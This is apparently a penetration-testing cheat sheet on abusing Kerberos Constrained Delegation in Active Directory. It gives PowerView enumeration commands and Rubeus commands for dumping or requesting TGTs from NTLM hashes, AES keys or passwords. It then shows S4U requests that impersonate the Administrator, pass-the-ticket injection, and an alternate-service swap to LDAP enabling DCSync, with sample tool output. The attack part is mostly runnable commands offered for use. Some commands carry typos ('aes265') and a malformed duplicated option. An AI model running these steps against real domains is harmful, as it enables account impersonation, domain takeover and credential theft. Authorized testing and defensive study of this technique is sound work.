Microsoft introduced Constrained Delegation in Windows Server 2003 to provide a more secure form of delegation compared to the high-risk Unconstrained Delegation.
With Constrained Delegation, administrators can specify the services or applications for which a server is allowed to act on behalf of a user, thereby limiting the attack surface. This feature can reduce the risk of an attacker impersonating a user and accessing resources that they are not authorized to access.
Enumeration
PowerView
# Get computer Constrained Delegation
Get-DomainComputer -TrustedToAuth| Select DnsHostName,UserAccountControl,msds-allowedtodelegateto | FL
# Get user Constrained Delegation
Get-DomainUser -TrustedToAuth
PowerShell
# Search both users and computers for Constrained Delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
Obtain TGT
# Triage current tickets
Rubeus.exe triage
# Dump the systems TGT
Rubeus.exe dump /luid:[LUID] /service:[krbtgt] /user:[Hostname] /nowrap
# OR
# If you have the NTLM hash for the compromised account
Rubeus.exe asktgt /user:[User] /ntlm:[NTLM Hash] OR /aes265[aes265 Hash]
# If you have the aes265 hash for the compromised account
Rubeus.exe asktgt /user:[User] /aes265[aes265 Hash]
# If you have the plain text password
rubeus.exe asktgt /user:[User] /password:[Password]
# Triage current tickets
Invoke-Rubeus -Command "triage"
# Dump the systems TGT
Invoke-Rubeus -Command "dump /luid:[LUID] /service:[krbtgt] /user:[Hostname] /nowrap"
# OR
# If you have the NTLM hash for the compromised account
Invoke-Rubeus -Command "asktgt /user:[User] /ntlm:[NTLM Hash] OR /aes265[aes265 Hash]"
# If you have the aes265 hash for the compromised account
Invoke-Rubeus -Command "asktgt /user:[User] /aes265[aes265 Hash]"
# If you have the plain text password
Invoke-Rubeus -Command "asktgt /user:[User] /password:[Password]"
Obtains TGS for service
# Use obtained TGT to request a TGS ticket for the delegated service and impersonate another user
Rubeus.exe s4u /impersonateuser:[User] /msdsspn:[SPN/FQDN] /user:[User] /ticket:[Base64 ticket] /nowrap
[*] Action: S4U
[*] Building S4U2self request for: 'SRV01$@SECURITY.LOCAL'
[*] Using domain controller: DC01.Security.local (10.10.10.100)
[*] Sending S4U2self request to 10.10.10.100:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'SRV01$@SECURITY.LOCAL'
[*] base64(ticket.kirbi):
[Base64 Ticket Output]
[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01.security.local'
[*] Building S4U2proxy request for service: 'cifs/dc01.security.local'
[*] Using domain controller: DC01.Security.local (10.10.10.100)
[*] Sending S4U2proxy request to domain controller 10.10.10.100:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc01.security.local':
[Base64 Ticket Output]
# Use obtained TGT to request a TGS ticket for the delegated service and impersonate another user
Invoke-Rubeus -Command "s4u /impersonateuser:[User] /msdsspn:[SPN/FQDN] /user:[User] /ticket:[Base64 ticket] /nowrap"
# Method 1: Pass ticket into seperate session (Preffered)
# Create new LUID session (Requires Elevation)
Rubeus.exe createnetonly /program:c:\windows\system32\cmd.exe /show
# Pass ticket into new session
Rubeus.exe ptt /luid:[LUID from previous command] /ticket:[Base64 ticket]
# Method 2: Pass ticket directly into current session (Can cause auth issues)
Rubeus.exe ptt /ticket:[Base64 ticket]
# Method 1: Pass ticket into seperate session (Preffered)
# Create new LUID session (Requires Elevation)
Invoke-Rubeus -Command "createnetonly /program:c:\windows\system32\cmd.exe /show"
# Pass ticket into new session
Invoke-Rubeus -Command "ptt /luid:[LUID from previous command] /ticket:[Base64 ticket]"
# Method 2: Pass ticket directly into current session (Can cause auth issues)
Invoke-Rubeus -Command "ptt /ticket:[Base64 ticket]"
With effective Domain Administrator rights on the primary Domain Controllers for the CIFS service we can perform actions based on CIFS such as Psexec and remotely listing the C$ drive.
Alternate Service Name
Kerberos uses a Service Principal Name (SPN) to identify a service during authentication, which is typically a combination of the service name and the host's name where the service is running. Rubeus.exe includes an option called /altservicename that enables an attacker to use a different service name when constructing the SPN. This option can be helpful in certain situations, such as when the default service name is unavailable or the attacker wants to target a specific service.
In this instance, we're leveraging the TGT issued for SRV01$ to obtain a TGS for LDAP.
Following on from the section: Obtain TGT use the following commands to generate a TGS for the alternative service name.
[*] Action: S4U
[*] Building S4U2self request for: 'SRV01$@SECURITY.LOCAL'
[*] Using domain controller: DC01.Security.local (10.10.10.100)
[*] Sending S4U2self request to 10.10.10.100:88
[+] S4U2self success!
[*] Got a TGS for 'administrator' to 'SRV01$@SECURITY.LOCAL'
[*] base64(ticket.kirbi):
[Base64 Ticket Output]
[*] Impersonating user 'administrator' to target SPN 'cifs/dc01.security.local'
[*] Final ticket will be for the alternate service 'ldap'
[*] Building S4U2proxy request for service: 'cifs/dc01.security.local'
[*] Using domain controller: DC01.Security.local (10.10.10.100)
[*] Sending S4U2proxy request to domain controller 10.10.10.100:88
[+] S4U2proxy success!
[*] Substituting alternative service name 'ldap'
[*] base64(ticket.kirbi) for SPN 'ldap/dc01.security.local':
[Base64 Ticket Output]
In the above output we alternate the CIFS service for LDAP. As the Domain Administrator has been impersonated this can be used to perfrom DCSync.
